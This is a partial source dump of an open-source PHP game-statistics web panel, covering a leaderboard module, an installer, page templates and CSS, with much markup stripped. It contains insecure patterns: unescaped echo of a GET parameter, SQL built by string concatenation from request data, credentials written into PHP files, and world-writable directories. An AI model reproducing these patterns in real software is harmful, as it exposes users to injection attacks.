    ================================================ FILE: app/modules/module_page_rankstats/temp/cache.php ================================================ 1614610913,'data'=>[0=>[]]]; ================================================ FILE: app/modules/module_page_toppoints/description.json ================================================ { "title": "LR WEB | TOP Points - Player Stats", "info": "Adds a page with player statistics", "author": "M0st1ce", "page": "toppoints", "version": "0.1", "required": { "core":"0.2","php":"5.4" }, "setting": { "status": 1, "type": 1, "available_types": "1", "interface": 1, "interface_adjacent": "afternavbar", "data": 1 }, "sidebar": { "0": { "href": "?page=toppoints", "open_new_tab": "0", "icon_group": "zmdi", "icon_category": "", "icon": "accounts-alt", "name": "_Statistics", "sidebar_directory": "_Sidebar_statistics" } } } ================================================ FILE: app/modules/module_page_toppoints/forward/data.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ /* * Теперь  зола лежит одна * Как ни вороши, ни ищи — ни души * Гори, гори, моя страна * Не туши, ой, не туши, не туши */ // Белый список, все любят белые списки! $General->get_default_url_section('filter', 'value', array('value', 'kills', 'rank', 'playtime', 'headshots', 'deaths', 'playtime', 'kd') ); // Очень важная настройка, кол-во человек на странице define('PLAYERS_ON_PAGE', '80'); $page_max = 0; $server_group = (int) intval ( get_section( 'server_group', '0' ) ); $server_group >= $Db->table_statistics_count && get_iframe( '009', 'Данная страница не существует' ); // Получаем номер страницы $page_num = (int) intval ( get_section( 'num', '1' ) ); $page_num <= 0 && get_iframe( '009', 'Данная страница не существует' ); // Проверка на подключенный мод - Levels Ranks if ( ! empty( $Db->db_data['LevelsRanks'] ) ): for ($d = 0; $d < $Db->table_count['LevelsRanks']; $d++) { $res_data[] = ['statistics' => 'LevelsRanks', 'name_servers' => $Db->db_data['LevelsRanks'][$d]['name'], 'mod' => $Db->db_data['LevelsRanks'][$d]['mod'], 'USER_ID' => $Db->db_data['LevelsRanks'][$d]['USER_ID'], 'data_db' => $Db->db_data['LevelsRanks'][$d]['DB_num'], 'data_servers' => $Db->db_data['LevelsRanks'][$d]['Table']]; } endif; // Проверка на подключенный мод - FPS if ( ! empty( $Db->db_data['FPS'] ) ): for ($d = 0; $d < $Db->table_count['FPS']; $d++) { $res_data[] = ['statistics' => 'FPS', 'name_servers' => $Db->db_data['FPS'][$d]['name'], 'mod' => $Db->db_data['FPS'][$d]['mod'], 'USER_ID' => $Db->db_data['FPS'][$d]['USER_ID'], 'data_db' => $Db->db_data['FPS'][$d]['DB_num'], 'server_id' => $d+1, 'ranks_id' => $Db->db_data['FPS'][$d]['ranks_id'], 'data_servers' => $Db->db_data['FPS'][$d]['Table']]; } endif; // Проверка на подключенный мод - RankMeKento if ( ! empty( $Db->db_data['RankMeKento'] ) ): for ($d = 0; $d < $Db->table_count['RankMeKento']; $d++) { $res_data[] = ['statistics' => 'RankMeKento', 'name_servers' => $Db->db_data['RankMeKento'][$d]['name'], 'mod' => $Db->db_data['RankMeKento'][$d]['mod'], 'USER_ID' => $Db->db_data['RankMeKento'][$d]['USER_ID'], 'data_db' => $Db->db_data['RankMeKento'][$d]['DB_num'], 'data_servers' => $Db->db_data['RankMeKento'][$d]['Table']]; } endif; $res = []; $page_num_min = ($page_num - 1) * PLAYERS_ON_PAGE; if( ! empty( $res_data[ $server_group ]['statistics'] ) ): switch ( $res_data[ $server_group ]['statistics'] ) { case 'LevelsRanks': $page_max = ceil($Db->queryNum( 'LevelsRanks', $res_data[ $server_group ]['USER_ID'], $res_data[ $server_group ]['data_db'], "SELECT COUNT(*) FROM `" . $res_data[ $server_group ]['data_servers'] . "` WHERE `lastconnect` > 0")[0] / PLAYERS_ON_PAGE ); $res = $Db->queryAll( 'LevelsRanks', $res_data[ $server_group ]['USER_ID'], $res_data[ $server_group ]['data_db'], "SELECT `name`, `rank`, `steam`, `playtime`, `value`, `kills`, `headshots`, `deaths`, CASE WHEN `deaths` = 0 THEN `deaths` = 1 END, TRUNCATE( `kills`/`deaths`, 2 ) AS `kd` FROM `" . $res_data[ $server_group ]['data_servers'] . "` WHERE `lastconnect` > 0 order by " . $_SESSION['filter'] . " desc LIMIT " . $page_num_min . "," . PLAYERS_ON_PAGE . " "); break; case 'FPS': $page_max = ceil($Db->queryNum( 'FPS', 0, 0, 'SELECT COUNT(*) FROM `fps_servers_stats` WHERE `server_id` = ' . $res_data[ $server_group ]["server_id"] . ' AND `lastconnect` > 0 ')[0] / PLAYERS_ON_PAGE ); $res = $Db->queryAll( 'FPS', $res_data[ $server_group ]['USER_ID'], $res_data[ $server_group ]['data_db'], 'SELECT `fps_players`.`nickname` AS `name`, `fps_players`.`account_id`, `fps_players`.`steam_id` AS `steam`, `fps_servers_stats`.`points` AS `value`, `fps_servers_stats`.`kills`, `fps_servers_stats`.`deaths`, `fps_servers_stats`.`playtime`, ( SELECT SUM(`headshots`) FROM `fps_weapons_stats` WHERE `fps_weapons_stats`.`account_id` = `fps_players`.`account_id` AND `fps_weapons_stats`.`server_id` = ' . $res_data[ $server_group ]["server_id"] . ' ) AS headshots, TRUNCATE( `fps_servers_stats`.`kills` / `fps_servers_stats`.`deaths`, 2) AS `kd`, `fps_servers_stats`.`rank` FROM `fps_players` INNER JOIN `fps_servers_stats` ON `fps_players`.`account_id` = `fps_servers_stats`.`account_id` WHERE `fps_servers_stats`.`server_id` = ' . $res_data[ $server_group ]["server_id"] . ' AND `fps_servers_stats`.`lastconnect` > 0 order by ' . $_SESSION["filter"] . ' desc LIMIT ' . $page_num_min . ',' . PLAYERS_ON_PAGE . ' '); break; case 'RankMeKento': $page_max = ceil($Db->queryNum( 'RankMeKento', $res_data[ $server_group ]['USER_ID'], $res_data[ $server_group ]['data_db'], "SELECT COUNT(*) FROM `" . $res_data[ $server_group ]['data_servers'] . "` ")[0] / PLAYERS_ON_PAGE ); $res = $Db->queryAll( 'RankMeKento', $res_data[ $server_group ]['USER_ID'], $res_data[ $server_group ]['data_db'], "SELECT `name`, `steam`, `connected` AS `playtime`, `score` AS `value`, `kills`, `headshots`, `deaths`, CASE WHEN `deaths` = 0 THEN `deaths` = 1 END, TRUNCATE( `kills`/`deaths`, 2 ) AS `kd` FROM " . $res_data[ $server_group ]['data_servers'] . " WHERE `lastconnect` > 0 order by " . $_SESSION['filter'] . " desc LIMIT " . $page_num_min . "," . PLAYERS_ON_PAGE . " "); break; } endif; $page_num > $page_max && get_iframe( '009', 'Данная страница не существует' ); $res == [] && get_iframe( '404', 'Игроки в базе данных не найдены' ); // Задаём заголовок страницы. $Modules->set_page_title( $General->arr_general['short_name'] . ' :: ' . $Translate->get_translate_phrase('_Statistics') . ' :: ' . $Db->statistics_table[ $server_group ]['name'] . ' :: ' . $Translate->get_translate_phrase('_Page') . ' ' . $page_num ); // Задаём описание страницы. $Modules->set_page_description( $General->arr_general['short_name'] . ' :: ' . $Translate->get_translate_phrase('_Statistics') . ' :: ' . $Db->statistics_table[ $server_group ]['name'] . ' :: ' . $Translate->get_translate_phrase('_Page') . ' ' . $page_num ); ================================================ FILE: app/modules/module_page_toppoints/forward/interface.php ================================================ * * @link https://steamcommunity.comprofiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ?>
    get_translate_phrase('_Statistics') ?>
    arr_general['avatars'] != 0 ) {?>get_js_relevance_avatar( $General->arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[$sz_i]['steam'] ) : $res[$sz_i]['steam'] )?> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[$sz_i]['steam'] ) : $res[$sz_i]['steam']?>/';"> arr_general['avatars'] ) ):?>
    # get_translate_phrase('_Player') ?> get_translate_phrase('_Point') ?> get_translate_phrase('_Rank') ?> get_translate_phrase('_Kills') ?> get_translate_phrase('_Deaths') ?> K/D get_translate_phrase('_Headshot') ?> get_translate_phrase('_Play_time') ?>
    ="getAvatar( con_steam32to64( $res[ $sz_i ]['steam'] ), 2 )?>"> array_modules['module_page_profiles']['setting']['status'] === 1 && print sprintf('href="%sprofiles/%s/%d"', $General->arr_general['site'], $General->arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[$sz_i]['steam'] ) : $res[$sz_i]['steam'], $server_group )?>> action_time_exchange( $res[ $sz_i ]['playtime'], 2 )?>
    ================================================ FILE: app/modules/module_sidebar_social/description.json ================================================ { "title": "LR WEB | All - Social Media Networks", "info": "Adds social media networks to Sidebar :D", "author": "M0st1ce", "page": "home", "version": "1", "required": { "core":"0.2","php":"5.4" }, "setting": { "status": 1, "type": 1, "available_types": "1" }, "sidebar": { "0": { "href": "https://steamcommunity.com/", "open_new_tab": "1", "icon_group": "zmdi", "icon_category": "", "icon": "steam-square", "name": "Steam Group", "sidebar_directory": "_Sidebar_social" }, "1": { "href": "https://vk.com/", "open_new_tab": "1", "icon_group": "zmdi", "icon_category": "", "icon": "vk", "name": "Vkontakte Community", "sidebar_directory": "_Sidebar_social" }, "2": { "href": "https://discord.gg/", "open_new_tab": "1", "icon_group": "custom", "icon_category": "socials", "icon": "discord", "name": "Discord", "sidebar_directory": "_Sidebar_social" } } } ================================================ FILE: app/page/custom/error/index.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ?> <?php echo $_GET["description"]?>
    ================================================ FILE: app/page/custom/install/assets/css/style.css ================================================ .badge { display: inline-block; padding: .35em .6em; font-size: 75%; font-weight: 500; line-height: 1; text-align: center; white-space: nowrap; vertical-align: baseline; transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out; fill: #ffffff; color: #ffffff!important; background-color: var(--span-color); box-shadow: var(--span-color-back) 5px 5px; } .badge a { fill: #ffffff; color: #ffffff!important; transition-duration: 400ms; } .input-form { position: relative; text-align: left; margin-top: 6px; margin-bottom: 6px; width: 100%; } .btn { margin-top: 12px; float: right; } .container-fluid { width: 100%; padding-top: 0px; } .card { margin-bottom: 17px; } .back { width: 100%; height: 100%; } .language_title { text-align: center; margin-top: 2%; margin-bottom: 2%; font-size: 3vw; font-weight: 600; } .language_left { width: 50%; float: left; text-align: center; filter: brightness(60%); } .language_left:hover { filter: brightness(100%); } .language_right { width: 50%; float: right; text-align: center; filter: brightness(60%); } .language_right:hover { filter: brightness(100%); } .language_right img,.language_left img { width: 20vw; } .language_name { font-size: 2vw; font-weight: 500; } .webkey_title { text-align: center; margin-top: 2%; margin-bottom: 2%; font-size: 3vw; font-weight: 600; } .webkey_input { text-align: center; width: 40%; margin-top: 10%; margin-left: auto; margin-right: auto; } .webkey_input input{ text-align: center; font-size: 1.8vw; font-weight: 500; } .webkey_btn_check { margin-top: 4%; text-align: center; float: none; } .webkey_btn_check input{ float: none; font-size: 1.4vw; font-weight: 500; } .webkey_btn_dont_key { position: fixed; bottom: 0px; left: 50%; margin-right: -50%; transform: translate(-50%, -50%) } .webkey_btn_dont_key input{ float: none; font-size: 0.9vw; font-weight: 500; } .sidebar_title { text-align: center; margin-top: 2%; margin-bottom: 2%; font-size: 3vw; font-weight: 600; } .sidebar_left { width: 50%; float: left; text-align: center; filter: brightness(70%); } .sidebar_right { width: 50%; float: right; text-align: center; filter: brightness(70%); } .sidebar_left img, .sidebar_right img { width: 80%; } .sidebar_name { font-size: 2vw; font-weight: 500; } .sidebar_left:hover, .sidebar_right:hover { filter: brightness(100%); } button[type="submit"] { background: none; cursor: pointer; color: #F27B26; } .animation_mp4 video{ width: 20vw; } .admin_zone img{ width: 12vw; } .admin_zone .admin_name{ font-size: 1.3vw; font-weight: 500; } .admin_zone { text-align: center; width: 20%; margin-top: 2%; margin-left: auto; margin-right: auto; } .admin_que { position: relative; } .admin_que input{ font-size: 1.5vw; font-weight: 500; } .admin_que .admin_yes{ float: left; } .admin_que .admin_no{ float: right; } .admin_que .admin_text { font-size: 1.3vw; font-weight: 500; text-align: center; margin-top: 5%; } .info { font-size: 1.3vw; font-weight: 500; text-align: center; margin-top: 2%; margin-bottom: 2%; } .servers_info input{ font-size: 0.8vw; font-weight: 400; } .badge_1 { display: inline-block; padding: .35em .6em; font-size: 2vw; font-weight: 500; line-height: 1; text-align: center; white-space: nowrap; vertical-align: baseline; transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out; fill: #ffffff; color: #ffffff!important; background-color: var(--span-color); box-shadow: 0 1px 2px 0 rgba(0,0,0,.16), 0 2px 10px 0 rgba(0,0,0,.12); } .badge_2 { display: inline-block; padding: .35em .6em; font-size: 2vw; font-weight: 500; line-height: 1; text-align: center; white-space: nowrap; vertical-align: baseline; transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out; fill: #ffffff; color: #ffffff!important; background-color: var(--span-color); box-shadow: var(--span-color-back) 5px 5px; } .db_left { width: 40%; float: left; text-align: center; margin-left: 10%; } .db_left .info{ font-size: 0.8vw; font-weight: 500; text-align: center; margin-top: 2%; margin-bottom: 2%; color: #fff; } .db_left input{ font-size: 1vw; font-weight: 500; text-align: left; } .db_right { width: 50%; float: right; text-align: center; } .db_right .ERROR{ color: red; } .db_right img{ width: 50%; } .db_left .check { text-align: center; float: none; } .db_left .check input{ float: none; } ================================================ FILE: app/page/custom/install/includes/options/admin_no_steam.php ================================================
    ================================================ FILE: app/page/custom/install/includes/options/admin_steam.php ================================================
    ================================================ FILE: app/page/custom/install/includes/options/animations.php ================================================
    ================================================ FILE: app/page/custom/install/includes/options/badge_type.php ================================================
    ================================================ FILE: app/page/custom/install/includes/options/db.php ================================================
    Статистика
    HOST
    USER
    DATABASE
    PORT
    PASS
    TABLE
    Game mode
    Steam mode
    ================================================ FILE: app/page/custom/install/includes/options/form_border.php ================================================
    ================================================ FILE: app/page/custom/install/includes/options/language.php ================================================
    Select the language
    ================================================ FILE: app/page/custom/install/includes/options/name.php ================================================
    ================================================ FILE: app/page/custom/install/includes/options/sidebar.php ================================================
    ================================================ FILE: app/page/custom/install/includes/options/webkey.php ================================================
    STEAM WEB API KEY
    ================================================ FILE: app/page/custom/install/index.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ // Отключаем показ ошибок. error_reporting(E_ALL); ini_set('display_errors', 0); ini_set('display_startup_errors', 0); // Ограничиваем время выполнения скрипта. set_time_limit(3); # Убираем кеширование if( function_exists("opcache_reset") ) !empty( $_POST ) && opcache_reset(); (!empty($_GET['code']) && !empty($_GET['description'])) && exit(require PAGE_CUSTOM . '/error/index.php'); // Проверка на PDO class_exists('PDO') || get_iframe('001','Need support to work PDO'); // Проверка на BCMath extension_loaded('bcmath') == 0 && get_iframe('001','PHP extension not found :: BCMath'); // Проверка на cURL extension_loaded('curl') == 0 && get_iframe('001','PHP extension not found :: cURL'); // Проверка на json extension_loaded('json') == 0 && get_iframe('001','PHP extension not found :: json'); // Проверка на Zip extension_loaded('zip') == 0 && get_iframe('001','PHP extension not found :: Zip'); // Проверка на GMP extension_loaded('gmp') == 0 && get_iframe('001','PHP extension not found :: GMP'); // Проверка прав доступа каталога кэша ( 0777 ) substr( sprintf( '%o', fileperms( SESSIONS ) ), -4) !== '0777' && get_iframe( '002','777 permissions not set on the directory :: /storage/cache/sessions/' ); // Создание папки - avatars ! file_exists( CACHE . 'img/avatars/' ) && mkdir( CACHE . 'img/avatars/', 0777, true ); // Проверка прав доступа на кэш аватарок ( 0777 ) substr( sprintf( '%o', fileperms( CACHE . 'img/avatars/' ) ), -4) !== '0777' && get_iframe( '002','777 permissions not set on the directory :: /storage/cache/img/avatars/' ); // Создание папки - css ! file_exists( ASSETS_CSS ) && mkdir( ASSETS_CSS, 0777, true ); // Проверка на существование каталога с генерируемыми файлами ! file_exists( ASSETS_CSS . 'generation/' ) && mkdir( ASSETS_CSS . 'generation/', 0777, true ); // Проверка прав доступа на ассеты - CSS ( 0777 ) substr( sprintf( '%o', fileperms( ASSETS_CSS ) ), -4) !== '0777' && get_iframe( '002','777 permissions not set on the directory :: /storage/assets/css/' ); // Создание папки - js ! file_exists( ASSETS_JS ) && mkdir( ASSETS_JS, 0777, true ); // Проверка на существование каталога с генерируемыми файлами ! file_exists( ASSETS_JS . 'generation/' ) && mkdir( ASSETS_JS . 'generation/', 0777, true ); // Проверка прав доступа на ассеты - JS ( 0777 ) substr( sprintf( '%o', fileperms( ASSETS_JS ) ), -4) !== '0777' && get_iframe( '002','777 permissions not set on the directory :: /storage/assets/js/' ); // Проверка на существование файла с настройками if ( ! file_exists( SESSIONS . '/options.php' ) ): $options['theme'] = 'default'; $options['enable_css_cache'] = 0; $options['enable_js_cache'] = 0; $options['graphics_container'] = 'stretch'; $options['disable_sidebar_change'] = 0; $options['disable_palettes_change'] = 0; $options['graphics.sidebar_blur'] = 0; $options['graphics.blocks_blur'] = 0; $options['background_image'] = 'null'; $options['auth_cock'] = 0; $options['css_off_cache'] = 0; $options['session_check'] = 0; $options['avatars_cache_time'] = 259200; file_put_contents(SESSIONS . '/options.php', 'query('SELECT `steamid`, `group`, `flags`, `access` FROM lvl_web_admins'); $row = $result->fetch_assoc(); $mysqli->close(); if( empty( $row ) ): $admins = 1; endif; endif; // Язык if ( empty( $options['language'] ) && isset( $_POST['EN'] ) || isset( $_POST['RU'] ) ): $options['language'] = isset( $_POST['EN'] ) ? 'EN' : 'RU'; file_put_contents( SESSIONS . '/options.php', 'query("INSERT INTO lvl_web_admins (steamid, `user`, `password`, `ip`, `group`, `flags`, `access`) VALUES ( '{$_SESSION['admin']}', '', '', '{$_SERVER['REMOTE_ADDR']}', '1', 'z', '100' )"); $mysqli->close(); refresh(); } if ( isset( $_POST['check_admin_steam_net'] ) && isset( $_SESSION['admin'] ) ) { unset( $_SESSION['admin'] ); header_fix( get_url(1) ); } if ( ! empty( $admins ) && isset( $_POST['admin_nosteam_save'] ) ) { $login = action_text_clear($_POST['admin_login']); $pass = action_text_clear($_POST['admin_pass']); $_POST['admin_steam'] = action_text_clear($_POST['admin_steam']); if(preg_match('/^STEAM_[0-9]{1,2}:[0-1]:\d+$/',$_POST['admin_steam'])) $steam = con_steam32to64( $_POST['admin_steam'] ); else if(preg_match('/U:(.*):(.*)/', $_POST['admin_steam'])) $steam = con_steam3to64_int(substr($_POST['admin_steam'], 4)); else $steam = $_POST['admin_steam']; $mysqli = new mysqli( $db['Core'][0]['HOST'], $db['Core'][0]['USER'], $db['Core'][0]['PASS'], $db['Core'][0]['DB'][0]['DB'], $db['Core'][0]['PORT'] ); $mysqli->query("INSERT INTO lvl_web_admins (steamid, `user`, `password`, `ip`, `group`, `flags`, `access`) VALUES ( '{$steam}', '{$login}', '{$pass}', '{$_SERVER['REMOTE_ADDR']}', '1', 'z', '100' )"); $mysqli->close(); refresh(); } // Проверка соединения с базой данных if( empty( $db ) && isset( $_POST['db_check'] ) ) { $mysqli = new mysqli( $_POST['HOST'], $_POST['USER'], $_POST['PASS'], $_POST['DATABASE'], $_POST['PORT'] ); if(mysqli_connect_errno()) exit('

    Connect failed: '.mysqli_connect_error().'

    '); if ( empty( $_POST['TABLE'] ) ): if( $_POST['STATS'] == 'LevelsRanks'): $db_table = 'lvl_base'; elseif( $_POST['STATS'] == 'FPS' ): $db_table = 'fps_servers_stats'; elseif( $_POST['STATS'] == 'RankMeKento' ): $db_table = 'rankme'; endif; else: $db_table = $_POST['TABLE']; endif; $db_check = 2; $mysqli->query('CREATE TABLE IF NOT EXISTS lr_web_attendance ( `id` INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY, `date` VARCHAR(10) NOT NULL, `visits` INT(11) NOT NULL) ENGINE = InnoDB CHARSET=utf8mb4 COLLATE utf8mb4_general_ci;'); $mysqli->query('CREATE TABLE IF NOT EXISTS lr_web_online ( `id` INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY, `user` VARCHAR(128) NOT NULL, `ip` VARCHAR(128) NOT NULL, `time` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP) ENGINE = InnoDB CHARSET=utf8mb4 COLLATE utf8mb4_general_ci;'); $mysqli->query('CREATE TABLE IF NOT EXISTS lr_web_notifications ( `id` INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY, `steam` VARCHAR(128) NOT NULL, `text` VARCHAR(256) NOT NULL, `values_insert` VARCHAR(512) NOT NULL, `url` VARCHAR(128) NOT NULL, `icon` VARCHAR(64) NOT NULL, `seen` INT(11) NOT NULL, `status` INT(11) NOT NULL, `date` TIMESTAMP NOT NULL) ENGINE = InnoDB CHARSET=utf8mb4 COLLATE utf8mb4_general_ci;'); $mysqli->query('CREATE TABLE IF NOT EXISTS lvl_web_admins ( `steamid` VARCHAR(32) PRIMARY KEY, `user` VARCHAR(32) NOT NULL, `password` VARCHAR(64) NOT NULL, `ip` VARCHAR(16) NOT NULL, `group` VARCHAR(11) NOT NULL, `flags` VARCHAR(32) NOT NULL, `access` INT(3) NOT NULL) ENGINE = InnoDB CHARSET=utf8mb4 COLLATE utf8mb4_general_ci;'); $mysqli->query('CREATE TABLE IF NOT EXISTS lvl_web_servers ( `id` INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY, `ip` VARCHAR(64) NOT NULL, `fakeip` VARCHAR(64) NOT NULL, `name` VARCHAR(64) NOT NULL, `name_custom` VARCHAR(128) NOT NULL, `rcon` VARCHAR(64) NOT NULL, `server_stats` VARCHAR(64) NOT NULL, `server_vip` VARCHAR(64) NOT NULL, `server_vip_id` INT(11) NOT NULL, `server_sb` VARCHAR(64) NOT NULL, `server_shop` VARCHAR(64) NOT NULL, `server_warnsystem` VARCHAR(64) NOT NULL, `server_lk` VARCHAR(64) NOT NULL) ENGINE = InnoDB CHARSET=utf8mb4 COLLATE utf8mb4_general_ci;'); $mysqli->query('CREATE TABLE IF NOT EXISTS lvl_web_settings ( `name` VARCHAR(64) PRIMARY KEY, `value` VARCHAR(256) NOT NULL ) ENGINE = InnoDB CHARSET=utf8mb4 COLLATE utf8mb4_general_ci;'); $db = [$_POST['STATS'] => [ ['HOST' => $_POST['HOST'], 'PORT' => $_POST['PORT'], 'USER' => $_POST['USER'], 'PASS' => $_POST['PASS'], 'DB' => [ ['DB' => $_POST['DATABASE'], 'Prefix' => [ ['table' => $db_table, 'name' => $_POST['NAME'], 'mod' => empty($_POST['game_mod']) ? 730 : $_POST['game_mod'], 'ranks_pack' => 'default', 'steam' => (int) $_POST['steam_mod'] ] ] ] ] ] ], 'Core' => [ ['HOST' => $_POST['HOST'], 'PORT' => $_POST['PORT'], 'USER' => $_POST['USER'], 'PASS' => $_POST['PASS'], 'DB' => [ ['DB' => $_POST['DATABASE'], 'Prefix' => [ ['table' => 'lvl_'] ] ] ] ] ] ]; $mysqli->close(); file_put_contents( SESSIONS . '/db.php', ' Добро пожаловать в мастер установки LR! /app/templates/default/assets/css/style.css"> /storage/assets/css/style.css"> /app/page/custom/install/assets/css/style.css">
    ================================================ FILE: app/page/general/footer.php ================================================
    arr_general['enable_js_cache'] ) ) : for ( $js = 0, $js_s = sizeof( $Modules->js_library ); $js < $js_s; $js++ ):?> arr_module_init['page'][ $Modules->route ]['js'] ) ): for ( $js = 0, $js_s = sizeof( $Modules->arr_module_init['page'][ $Modules->route ]['js'] ); $js < $js_s; $js++ ):?> template_modules)): if(isset($Modules->template_modules[ $Modules->arr_module_init['page'][ $Modules->route ]['js'][ $css ]['name'] ][ 'js' ])) { ?> notes)): for($i = 0; $i < sizeof($General->notes); $i++) echo ""; endif; // Дополнительный пулл под модули, которые должны быть объявлены на каждой странице - inbodyend if( ! empty( $Modules->arr_module_init['interface_always']['inbodyend'] ) ): for ( $module_id = 0, $c_mi = sizeof( $Modules->arr_module_init['interface_always']['inbodyend'] ); $module_id < $c_mi; $module_id++ ): $file = MODULES . $Modules->arr_module_init['interface_always']['inbodyend'][ $module_id ]['name'] . '/forward/interface_always.php'; file_exists( $file ) && require $file; endfor; endif; // Подгрузка данных из модулей которые относятся к интерфейсу - inbodyend if( ! empty( $Modules->arr_module_init['page'][ $Modules->route ]['interface']['inbodyend'] ) ): for ( $module_id = 0, $c_mi = sizeof( $Modules->arr_module_init['page'][ $Modules->route ]['interface']['inbodyend'] ); $module_id < $c_mi; $module_id++ ): $file = MODULES . $Modules->arr_module_init['page'][ $Modules->route ]['interface']['inbodyend'][ $module_id ] . '/forward/interface.php'; file_exists( $file ) && require $file; endfor; endif?> arr_module_init['interface_always']['afterbody'] ) ): for ( $module_id = 0, $c_mi = sizeof( $Modules->arr_module_init['interface_always']['afterbody'] ); $module_id < $c_mi; $module_id++ ): $file = MODULES . $Modules->arr_module_init['interface_always']['afterbody'][ $module_id ]['name'] . '/forward/interface_always.php'; file_exists( $file ) && require $file; endfor; endif; // Подгрузка данных из модулей которые относятся к интерфейсу - afterbody if( ! empty( $Modules->arr_module_init['page'][ $Modules->route ]['interface']['afterbody'] ) ): for ( $module_id = 0, $c_mi = sizeof( $Modules->arr_module_init['page'][ $Modules->route ]['interface']['afterbody'] ); $module_id < $c_mi; $module_id++ ): $file = MODULES . $Modules->arr_module_init['page'][ $Modules->route ]['interface']['afterbody'][ $module_id ] . '/forward/interface.php'; file_exists( $file ) && require $file; endfor; endif?> ================================================ FILE: app/page/general/head.php ================================================ <?php echo $Modules->get_page_title()?> arr_general['enable_css_cache'] ) ) : ?> css_library ); $style < $style_s; $style++ ):?> "> arr_module_init['page'][ $Modules->route ]['css'] ) ): for ( $css = 0, $css_s = sizeof( $Modules->arr_module_init['page'][ $Modules->route ]['css'] ); $css < $css_s; $css++ ):?> "> template_modules)): if(isset($Modules->template_modules[ $Modules->arr_module_init['page'][ $Modules->route ]['css'][ $css ]['name'] ][ 'css' ])) { ?> "> "> arr_module_init['interface_always']['afterhead'] ) ): for ( $module_id = 0, $c_mi = sizeof( $Modules->arr_module_init['interface_always']['afterhead'] ); $module_id < $c_mi; $module_id++ ): $file = MODULES . $Modules->arr_module_init['interface_always']['afterhead'][ $module_id ]['name'] . '/forward/interface_always.php'; file_exists( $file ) && require $file; endfor; endif; // Подгрузка данных из модулей которые относятся к интерфейсу - afterhead if( ! empty( $Modules->arr_module_init['page'][ $Modules->route ]['interface']['afterhead'] ) ): for ( $module_id = 0, $c_mi = sizeof( $Modules->arr_module_init['page'][ $Modules->route ]['interface']['afterhead'] ); $module_id < $c_mi; $module_id++ ): $file = MODULES . $Modules->arr_module_init['page'][ $Modules->route ]['interface']['afterhead'][ $module_id ] . '/forward/interface.php'; file_exists( $file ) && require $file; endfor; endif?> ================================================ FILE: app/templates/default/assets/css/css_library/animations/1.css ================================================ .global-container { transition: transform .5s ease-in-out, margin .5s ease-in-out } .offcanvas { transition: transform .5s ease-in-out, margin .5s ease-in-out } [data-tooltip]:before, [data-tooltip]:after, .tooltip:before, .tooltip:after { -webkit-transition: opacity 0.2s ease-in-out, visibility 0.2s ease-in-out, -webkit-transform 0.2s cubic-bezier(.71, 1.7, .77, 1.24); -moz-transition: opacity 0.2s ease-in-out, visibility 0.2s ease-in-out, -moz-transform 0.2s cubic-bezier(.71, 1.7, .77, 1.24); transition: opacity 0.2s ease-in-out, visibility 0.2s ease-in-out, transform 0.2s cubic-bezier(.71, 1.7, .77, 1.24); } ================================================ FILE: app/templates/default/assets/css/css_library/badge_type/1.css ================================================ .badge { display: inline-block; padding: .35em .6em; font-size: 75%; font-weight: 500; line-height: 1; text-align: center; white-space: nowrap; vertical-align: baseline; transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out; fill: #ffffff; color: #ffffff; background-color: var(--span-color); box-shadow: 0 1px 2px 0 rgba(0,0,0,.16), 0 2px 10px 0 rgba(0,0,0,.12); } .badge a { fill: #ffffff; color: #ffffff; } ================================================ FILE: app/templates/default/assets/css/css_library/badge_type/2.css ================================================ .badge { display: inline-block; padding: .35em .6em; font-size: 75%; font-weight: 500; line-height: 1; text-align: center; white-space: nowrap; vertical-align: baseline; transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out; fill: #ffffff; color: #ffffff; background-color: var(--span-color); box-shadow: var(--span-color-back) 5px 5px; } .badge a { fill: #ffffff; color: #ffffff; transition-duration: 400ms; } ================================================ FILE: app/templates/default/assets/css/css_library/form_border/0.css ================================================ .badge { border: 0px solid transparent; border-radius: 0px; } .card { border: 0px solid transparent; border-radius: 0px; } .tooltip-left:after, .tooltip-right:after, .tooltip-top:after { border: 0px solid transparent; border-radius: 0px; } ================================================ FILE: app/templates/default/assets/css/css_library/form_border/1.css ================================================ .badge { border: 0px solid transparent; border-radius: 2px; } .card { border: 0px solid transparent; border-radius: 4px; } .tooltip-left:after, .tooltip-right:after, .tooltip-top:after { border: 0px solid transparent; border-radius: 2px; } ================================================ FILE: app/templates/default/assets/css/style.css ================================================ @import url('http://fonts.cdnfonts.com/css/montserrat'); ::-webkit-scrollbar-thumb{ border-width:1px 1px 1px 2px; background-color: var(--table-line); } ::-webkit-scrollbar-thumb:hover{ border-width: 1px 1px 1px 2px; border-color: var(--table-line); background-color: var(--table-line); } ::-webkit-scrollbar-track{ border-width:0; } ::-webkit-scrollbar-track:hover{ background-color: var(--sidebar-color); } /* * Nav блоки */ .navbar { top: 0; left: 0; min-width: 100%; position: fixed; display: flex; flex-wrap: wrap; align-items: center; min-height: 56px; max-height: 56px; background-color: var(--navbar-color); box-shadow: 0 1px 5px rgba(0, 0, 0, 0.2); z-index: 9999; justify-content: space-between; padding: .5rem 1rem; } .navbar>.container, .navbar>.container-fluid { display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between } .nav-toggle:active, 